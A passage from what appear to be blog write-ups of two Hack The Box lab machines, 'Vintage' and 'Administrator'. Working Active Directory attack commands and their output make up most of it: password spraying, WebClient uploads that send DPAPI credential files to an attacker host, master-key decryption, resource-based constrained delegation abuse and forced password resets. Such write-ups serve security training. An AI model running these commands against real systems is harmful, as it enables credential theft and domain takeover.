LDAP        10.10.11.45     389    DC01             [-] vintage.htb\Guest:Zer0the0ne KDC_ERR_CLIENT_REVOKED
LDAP        10.10.11.45     389    DC01             [-] vintage.htb\krbtgt:Zer0the0ne KDC_ERR_CLIENT_REVOKED
LDAP        10.10.11.45     389    DC01             [-] vintage.htb\M.Rossi:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP        10.10.11.45     389    DC01             [-] vintage.htb\R.Verdi:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP        10.10.11.45     389    DC01             [-] vintage.htb\L.Bianchi:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP        10.10.11.45     389    DC01             [-] vintage.htb\G.Viola:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP        10.10.11.45     389    DC01             [+] vintage.htb\C.Neri:Zer0the0ne 
LDAP        10.10.11.45     389    DC01             [-] vintage.htb\P.Rosa:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP        10.10.11.45     389    DC01             [-] vintage.htb\svc_sql:Zer0the0ne KDC_ERR_CLIENT_REVOKED
LDAP        10.10.11.45     389    DC01             [-] vintage.htb\svc_ldap:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP        10.10.11.45     389    DC01             [-] vintage.htb\svc_ark:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP        10.10.11.45     389    DC01             [-] vintage.htb\C.Neri_adm:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP        10.10.11.45     389    DC01             [-] vintage.htb\L.Bianchi_adm:Zer0the0ne KDC_ERR_PREAUTH_FAILED

WinRM as C.Neri

As C.Neri a remote management user, we can have WinRM access. However, as Kerberos Authentication is a requirement, we need to set up some things first.

TGT for C.Neri

We must get the TGT for C.Neri which we will use for authentication afterwards:

croc@hacker$ impacket-getTGT 'vintage.htb/C.Neri:Zer0the0ne' -k -dc-ip 'DC01.vintage.htb'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in C.Neri.ccache

/etc/krb5.conf

We must also configure the /etc/krb5.conf file. Luckily, I found a script that does this for us:

This script can easily configure /etc/krb5.conf for evil-winrm, by providing a domain fqdn and domain controller name · GitHub
This script can easily configure /etc/krb5.conf for evil-winrm, by providing a domain fqdn and domain controller name – configure_krb5.py
gist.github.com

I used the above script to configure the /etc/krb5.conf file for our domain:

croc@hacker$ python3 configure_krb5.py -h
usage: configure_krb5.py [-h] domain_fqdn dc_name

Configure krb5.conf for evil-winrm

positional arguments:
  domain_fqdn  Domain FQDN
  dc_name      Domain Controller Name

options:
  -h, --help   show this help message and exit

croc@hacker$ python3 configure_krb5.py vintage.htb DC01     
[*] This script must be run as root
[*] Configuration Data:
[libdefault]
        default_realm = VINTAGE.HTB

[realms]
        VINTAGE.HTB = {
                kdc = dc01.vintage.htb
                admin_server = dc01.vintage.htb
        }

[domain_realm]
        vintage.htb = VINTAGE.HTB
        .vintage.htb = VINTAGE.HTB


[!] Above Configuration will overwrite /etc/krb5.conf, are you sure? [y/N] y
[+] /etc/krb5.conf has been configured

WinRM

As we have got the TGT & the /etc/krb5.conf configuration is done as well, we can now have WinRM access as C.Neri:

croc@hacker$ KRB5CCNAME=C.Neri.ccache evil-winrm -i 'DC01.vintage.htb' -r 'vintage.htb'            
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\C.Neri\Documents>

User.txt

*Evil-WinRM* PS C:\Users\C.Neri\Desktop> cat user.txt
e40205*******************

Shell as Root

After being stuck for quite a while here, I took a step back and reviewed the information we’ve gathered so far. I noticed that C.Neri has a separate admin account, C.Neri_adm. This led me to consider that the end user may have carried out administrative tasks using C.Neri_adm while logged in as C.Neri — which is quite common.

If that’s the case, there could be cached credentials on the machine worth checking. Let’s see!

Uncovering DPAPI Secrets

The DPAPI (Data Protection API) is an internal component in the Windows system that allows various applications to store sensitive data (e.g. passwords) in an encrypted format. Read more below:

DPAPI secrets | The Hacker Recipes
MITRE ATT&CK™ Sub-technique T1555.003
www.thehacker.recipes

Dumping Credentials | The Pentesting Guide
the-pentesting-guide.marmeus.com

Step 01 – Blob Storage

I tried using seatbelt.exe in order to enumerate the DPAPI blobs but I got hit by AV(which is interesting). Mimikatz isn’t a viable option either because it doesn’t work well with a evil-winrm session & we also have AV in place.

*Evil-WinRM* PS C:\Users\C.Neri\Documents> ./Seatbelt.exe WindowsCredentialFiles
Program 'Seatbelt.exe' failed to run: Operation did not complete successfully because the file contains a virus or potentially unwanted softwareAt line:1 char:1
+ ./Seatbelt.exe WindowsCredentialFiles
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.
At line:1 char:1
+ ./Seatbelt.exe WindowsCredentialFiles
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException
    + FullyQualifiedErrorId : NativeCommandFailed

Hence, it’s better to go the manual way of enumeration. Looking at the common paths for Windows Credential Manager DPAPI blobs, the following cached credentials were found under the blob storage of C.Neri:

*Evil-WinRM* PS C:\Users\C.Neri\Documents> Get-ChildItem -Hidden ~\AppData\Local\Microsoft\Credentials


    Directory: C:\Users\C.Neri\AppData\Local\Microsoft\Credentials


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          6/7/2024   1:17 PM          11020 DFBE70A7E5CC19A398EBF1B96859CE5D


*Evil-WinRM* PS C:\Users\C.Neri\Documents> Get-ChildItem -Hidden ~\AppData\Roaming\Microsoft\Credentials


    Directory: C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          6/7/2024   5:08 PM            430 C4BB96844A5C9DD45D5B6A9859252BA6

Step 02 – Master Keys

The two highlighted ones below are the master keys that might be used in order to encrypt the blobs above:

*Evil-WinRM* PS C:\Users\C.Neri\Documents> Get-ChildItem -Recurse -Hidden ~\AppData\Roaming\Microsoft\Protect | select -expand fullname
C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\CREDHIST
C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\SYNCHIST
C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\BK-VINTAGE
C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\Preferred

🎆 Way Forward

From here, we’ll transfer all these mentioned files to our Kali Machine. After that, we will decrypt the master keys with the C.Neri’s password & then use those decrypted keys to try to decrypt the blobs.

Step 03 – Download blobs & master keys

We will be using Apache Web Server and the [System.Net.WebClient] method to HTTP POST them back to our Kali machine. You can use the following guide from 0xBEN:

Web | 0xBEN | Notes
notes.benheater.com

DPAPI BLOBS

Assuming that the Apache Server is up and running on your Kali Machine, following are the commands to download the DPAPI blobs:

*Evil-WinRM* PS C:\Users\C.Neri\Documents> [System.Net.WebClient]::new().UploadFile('http://10.10.14.109/upload.php', 'C:\users\C.Neri\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D')
*Evil-WinRM* PS C:\Users\C.Neri\Documents> [System.Net.WebClient]::new().UploadFile('http://10.10.14.109/upload.php', 'C:\users\C.Neri\AppData\Roaming\Microsoft\Credentials\C4BB96844A5C9DD45D5B6A9859252BA6')

MASTER KEYS

Following are the commands to download the master keys:

*Evil-WinRM* PS C:\Users\C.Neri\Documents> [System.Net.WebClient]::new().UploadFile('http://10.10.14.109/upload.php', 'C:\users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\4dbf04d8-529b-4b4c-b4ae-8e875e4fe847')
*Evil-WinRM* PS C:\Users\C.Neri\Documents> [System.Net.WebClient]::new().UploadFile('http://10.10.14.109/upload.php', 'C:\users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\99cf41a3-a552-4cf7-a8d7-aca2d6f7339b')

END RESULT

Here, we have all our files in our Attack box & now we can proceed further:

croc@hacker:/var/www/html/uploads$ ls -la
total 32
drwxr-xr-x 2 www-data www-data  4096 Apr  3 09:16 .
drwxr-xr-x 3 root     root      4096 Apr  3 09:05 ..
-rw-r--r-- 1 www-data www-data   740 Apr  3 09:15 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
-rw-r--r-- 1 www-data www-data   740 Apr  3 09:16 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
-rw-r--r-- 1 www-data www-data   430 Apr  3 09:14 C4BB96844A5C9DD45D5B6A9859252BA6
-rw-r--r-- 1 www-data www-data 11020 Apr  3 09:12 DFBE70A7E5CC19A398EBF1B96859CE5D

Step 04 – Decrypting Master Keys

In order to decrypt these master keys, we also require the user C.Neri’s SID which can be obtained from the whoami /all command on the target.

*Evil-WinRM* PS C:\Users\C.Neri\Documents> whoami /all

USER INFORMATION
----------------

User Name      SID
============== ==============================================
vintage\c.neri S-1-5-21-4024337825-2033394866-2055507597-1115


GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                            Attributes
=========================================== ================ ============================================== ==================================================
Everyone                                    Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
VINTAGE\ServiceManagers                     Group            S-1-5-21-4024337825-2033394866-2055507597-1137 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity  Well-known group S-1-18-1                                       Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

Now, we can proceed to decrypt both of the master key files using impacket-dpapi:

croc@hacker:/var/www/html/uploads$ impacket-dpapi masterkey -file 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847 -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password 'Zer0the0ne'  
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
Flags       :        0 (0)
Policy      :        0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0x55d51b40d9aa74e8cdc44a6d24a25c96451449229739a1c9dd2bb50048b60a652b5330ff2635a511210209b28f81c3efe16b5aee3d84b5a1be3477a62e25989f

croc@hacker:/var/www/html/uploads$ impacket-dpapi masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password 'Zer0the0ne' 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
Flags       :        0 (0)
Policy      :        0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a

Step 05 – Decrypt the Blobs

🎆 Way Forward

After that, we will just work our way to try all possible combinations of decrypted master keys and blobs to hopefully reveal a password.

Hurrah! The second blob decrypts using the second master key revealing the password of C.Neri_adm:

croc@hacker:/var/www/html/uploads$ impacket-dpapi credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key '0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a' 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[CREDENTIAL]
LastWritten : 2024-06-07 15:08:23
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000001 (CRED_TYPE_GENERIC)
Target      : LegacyGeneric:target=admin_acc
Description : 
Unknown     : 
Username    : vintage\c.neri_adm
Unknown     : Uncr4ck4bl3P4ssW0rd0312

The password for c.neri_adm is Uncr4ck4bl3P4ssW0rd0312.

Revisiting Bloodhound

I marked c.neri_adm as owned and under First Degree Object Control, we can see that it has the GenericWrite and AddSelf privilege over the Delegated Admins Group.

We can further see that the Delegated Admins group has AllowedtoAct DACL on DC01.

The DelegatedAdmins group has been granted Resource-Based Constrained Delegation (RBCD) access to DC01.

This allows an attacker to execute a modified S4U2self/S4U2proxy abuse chain to impersonate any domain user(except the ones in the Protected Users group) and receive a valid service ticket “as” that user which can be further utilized to gain file system access on the Domain Controller.

(RBCD) Resource-based constrained | The Hacker Recipes
The Hacker Recipes is aimed at freely providing technical guides on various hacking topics
www.thehacker.recipes

AllowedToAct – SpecterOps
bloodhound.specterops.io

Abusing S4U2self/S4U2proxy

Abusing this attack path requires an account with an SPN set and membership in the DelegatedAdmins group. This is necessary for that account to function as a delegating service.

🎆 Way Forward

C.Neri being part of the Service Managers group has GenericAll over all the svc_* accounts. We can use that to set a SPN & change the password for any of the service account.

Additionally, C.Neri_adm has GenericWrite over the Delegated Admins group & we can use it to add the service account to the group.

The target service account will be svc_ark for me. Although, it’s okay to use any of the three but avoid using svc_sql because it was disabled initially & there is a cleanup script running as well which might make trouble for you.

Step 01 – Set a SPN

First, we need to set up a servicePrincipalName for the svc_ark in order for it to act as a service account and has the ability to request service tickets from the KDC on behalf of any other user.

croc@hacker$ KRB5CCNAME=C.Neri.ccache bloodyAD --host 'DC01.vintage.htb' -u 'C.Neri' -d 'vintage.htb' -k set object 'svc_ark' 'servicePrincipalName' -v 'fake/fake'
[+] svc_ark's servicePrincipalName has been updated

Step 02 – Add to DelegatedAdmins Group

Next, we want to add svc_ark into the Delegated Admins group in order for it to possess the delegation rights. Note that, I used the C.Neri_adm account in order to do that.

croc@hacker$ bloodyAD --host 'DC01.vintage.htb' -u 'C.Neri_adm' -p 'Uncr4ck4bl3P4ssW0rd0312' -k -d 'vintage.htb' add groupMember 'DelegatedAdmins' 'svc_ark' 
[+] svc_ark added to DelegatedAdmins

Step 03 – Change the Password

I changed the password for svc_ark to Supp0rtmeonpatreon.

croc@hacker$ KRB5CCNAME=C.Neri.ccache bloodyAD --host 'DC01.vintage.htb' -u 'C.Neri' -d 'vintage.htb' -k set password 'svc_ark' 'Supp0rtmeonpatreon' 
[+] Password changed successfully!

💡 Think Box

Everything is in place now. svc_ark is now a service account with a SPN of fake/fake and it’s part of the Delegated Admins group as well. Now, we can use it to delegate access to the domain controller as any unprotected user including Administrators like L.Bianchi_adm.

Step 04 – Delegate Access

In the following command, we are authenticating as svc_ark while impersonating L.Bianchi_adm & since wmiexec relies on cifs, we request cifs/dc01.vintage.htb.

croc@hacker:~/HTB/vintage$ impacket-getST -impersonate 'L.Bianchi_adm' -spn 'cifs/dc01.vintage.htb' -k -dc-ip '10.10.11.45' 'vintage.htb/svc_ark:Supp0rtmeonpatreon'         
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating L.Bianchi_adm
/usr/share/doc/python3-impacket/examples/getST.py:380: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow()
/usr/share/doc/python3-impacket/examples/getST.py:477: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[*] Requesting S4U2self
/usr/share/doc/python3-impacket/examples/getST.py:607: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow()
/usr/share/doc/python3-impacket/examples/getST.py:659: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[*] Requesting S4U2Proxy
[*] Saving ticket in L.Bianchi_adm@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache

WMI

croc@hacker$ KRB5CCNAME=L.bianchi_adm@cifs_DC01.vintage.htb@VINTAGE.HTB.ccache impacket-wmiexec -k -no-pass vintage.htb/L.Bianchi_adm@DC01.vintage.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
vintage\l.bianchi_adm

Root.txt

C:\>cd c:\users\administrator\desktop

c:\users\Administrator\Desktop>type root.txt
8abd****************************

HTB – Administrator

HTB – Administrator

by | Apr 20, 2025 | Writeups

https://www.hackthebox.com/machines/Administrator

Reconnaissance

Given Credentials

As it is common in real life windows pentests, we’re given a set of credentials to start:

Olivia / ichliebedich

nmap/TCP

Nmap showed a bunch of open ports which are typical for a Domain Controller(DC).

croc@hacker$ rustscan -a 10.10.11.42 --ulimit 5000 -- -A -T5 -Pn -oA Initial
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.42:21
Open 10.10.11.42:53
Open 10.10.11.42:88
Open 10.10.11.42:135
Open 10.10.11.42:139
Open 10.10.11.42:389
Open 10.10.11.42:445
Open 10.10.11.42:464
Open 10.10.11.42:593
Open 10.10.11.42:636
Open 10.10.11.42:5985
Open 10.10.11.42:9389
Open 10.10.11.42:49664
Open 10.10.11.42:49665
Open 10.10.11.42:49666
Open 10.10.11.42:49667
Open 10.10.11.42:49669
Open 10.10.11.42:53517
Open 10.10.11.42:53528
Open 10.10.11.42:53903
Open 10.10.11.42:53908
Open 10.10.11.42:53909
[~] Starting Nmap
[>] The Nmap command to be run is nmap -A -T5 -Pn -oA Initial -vvv -p 21,53,88,135,139,389,445,464,593,636,9389,49664,49665,49666,49667,49669,53517,53528,53903,53908,53909 10.10.11.42

Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-21 11:34 EST
Nmap scan report for 10.10.11.42
Host is up, received user-set (0.25s latency).
Scanned at 2025-01-21 11:34:39 EST for 91s

PORT      STATE SERVICE       REASON          VERSION
21/tcp    open  ftp           syn-ack ttl 127 Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-01-21 23:34:46Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
53517/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
53528/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
53903/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
53908/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
53909/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Timing level 5 (Insane) used
Aggressive OS guesses: Microsoft Windows 10 1703 or Windows 11 21H2 (97%), Microsoft Windows Server 2022 (96%), Windows Server 2019 (95%), Microsoft Windows Server 2012 or 2012 R2 (94%), Microsoft Windows 10 1703 (93%), Windows Server 2022 (93%), Microsoft Windows Server 2016 or Server 2019 (93%), Microsoft Windows 10 1511 (93%), Microsoft Windows Server 2012 (93%), Microsoft Windows Server 2016 (93%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.95%E=4%D=1/21%OT=21%CT=%CU=30024%PV=Y%DS=2%DC=T%G=N%TM=678FCCFA%P=x86_64-pc-linux-gnu)
SEQ(SP=103%GCD=1%ISR=10C%TI=I%CI=I%II=I%SS=S%TS=A)
SEQ(SP=108%GCD=1%ISR=10C%TI=I%CI=I%TS=A)
OPS(O1=M53CNW8ST11%O2=M53CNW8ST11%O3=M53CNW8NNT11%O4=M53CNW8ST11%O5=M53CNW8ST11%O6=M53CST11)
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFDC)
ECN(R=Y%DF=Y%T=80%W=FFFF%O=M53CNW8NNS%CC=Y%Q=)
T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)
T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)
T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)
T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=Y%DFI=N%T=80%CD=Z)

Uptime guess: 0.274 days (since Tue Jan 21 05:02:05 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=264 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 35406/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 20522/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 52617/udp): CLEAN (Failed to receive data)
|   Check 4 (port 52572/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 6h59m59s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-01-21T23:35:55
|_  start_date: N/A

TRACEROUTE (using port 445/tcp)
HOP RTT       ADDRESS
1   281.14 ms 10.10.14.1
2   301.15 ms 10.10.11.42

Nmap done: 1 IP address (1 host up) scanned in 93.79 seconds
           Raw packets sent: 85 (6.902KB) | Rcvd: 92 (6.282KB)

We can see the hostname of DC in the output so let’s add it into the hosts file:

croc@hacker:~$ sudo sed -i '$a10.10.11.42\tDC.administrator.htb administrator.htb' /etc/hosts

Ldapdomaindump – 389/tcp

I started by looking at our environment and evaluating the attack surface:

croc@hacker$ sudo /usr/bin/ldapdomaindump ldap://10.10.11.42 -u 'ADMINISTRATOR\Olivia' -p 'ichliebedich'  
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
                                                                                                                         
croc@hacker$ ls
domain_computers_by_os.html  domain_groups.grep  domain_policy.html  domain_trusts.json          domain_users.json
domain_computers.grep        domain_groups.html  domain_policy.json  domain_users_by_group.html
domain_computers.html        domain_groups.json  domain_trusts.grep  domain_users.grep
domain_computers.json        domain_policy.grep  domain_trusts.html  domain_users.html

croc@hacker$ firefox domain_users_by_group.html

This gave me a clear understanding of all the users and groups on the target. I have the habit of creating a users.txt file that comes very handy afterwards when password spraying.

I found out that olivia, who we currently own, is the part of Remote Management Users.

As port 5985/tcp is open, we can get evil-winrm shell access as olivia & see what we can do from there.

Evil-WinRM

I got the WinRM access but didn’t find anything juicy here!

croc@hacker$ sudo evil-winrm -i 10.10.11.42 -u olivia -p ichliebedich  
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\olivia\Documents>

Time to move on to other options!

SMB – 139/445

I enumerated the available shares using the given credentials. The credentials are valid however, we are certainly not going to have access to the privileged shares like Admin$ or C$ as a low-level user.

croc@hacker$ sudo nxc smb 10.10.11.42 -u 'Olivia' -p 'ichliebedich' --shares 
SMB         10.10.11.42     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.42     445    DC               [+] administrator.htb\Olivia:ichliebedich
SMB         10.10.11.42     445    DC               [*] Enumerated shares
SMB         10.10.11.42     445    DC               Share           Permissions     Remark
SMB         10.10.11.42     445    DC               -----           -----------     ------
SMB         10.10.11.42     445    DC               ADMIN$                          Remote Admin
SMB         10.10.11.42     445    DC               C$                              Default share
SMB         10.10.11.42     445    DC               IPC$            READ            Remote IPC
SMB         10.10.11.42     445    DC               NETLOGON        READ            Logon server share
SMB         10.10.11.42     445    DC               SYSVOL          READ            Logon server share

FTP – 21/tcp

The credentials Olivia:ichliebedich doesn’t appear to be valid for the FTP Service:

Anonymous access is also not permitted:

💡 Think Box

In order to find a way in, I shifted my focus to enumerating potential pathways using BloodHound graphs.

BloodHound – 389/tcp

I dumped the .json configuration files using Python BloodHound Ingestor & uploaded the data in bloodhound.

croc@hacker$ sudo ntpdate dc.administrator.htb

croc@hacker$ bloodhound-python -c All -u 'olivia' -p 'ichliebedich' -d 'administrator.htb' -ns 10.10.11.42
INFO: Found AD domain: administrator.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.administrator.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.administrator.htb
INFO: Found 11 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc.administrator.htb
INFO: Done in 00M 52S
                                                                                                                         
croc@hacker$ ls
20250121123032_computers.json   20250121123032_domains.json  20250121123032_groups.json  20250121123032_users.json
20250121123032_containers.json  20250121123032_gpos.json     20250121123032_ous.jsons

I marked olivia as owned & found out that it has GenericAll permissions over michael. That means full control! This privilege allows the trustee to manipulate the target object however they wish.

Shell as Michael

Changing the Password of Michael

As olivia has full control over michael, she must be able to change his password. I used bloodyAD to do that:

croc@hacker$ bloodyAD -u 'olivia' -p 'ichliebedich' -d 'Administrator.htb' --host '10.10.11.42' set password 'Michael' 'Pass@1234'
[+] Password changed successfully!

WinRM Access

As michael is a remote management user, we can gain a evil-winrm shell as michael:

croc@hacker$ sudo evil-winrm -i 10.10.11.42 -u 'michael' -p 'Pass@1234'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\michael\Documents>

However, I didn’t find anything useful here! Let’s move on!

Shell as Emily

Reviewing BloodHound Graphs

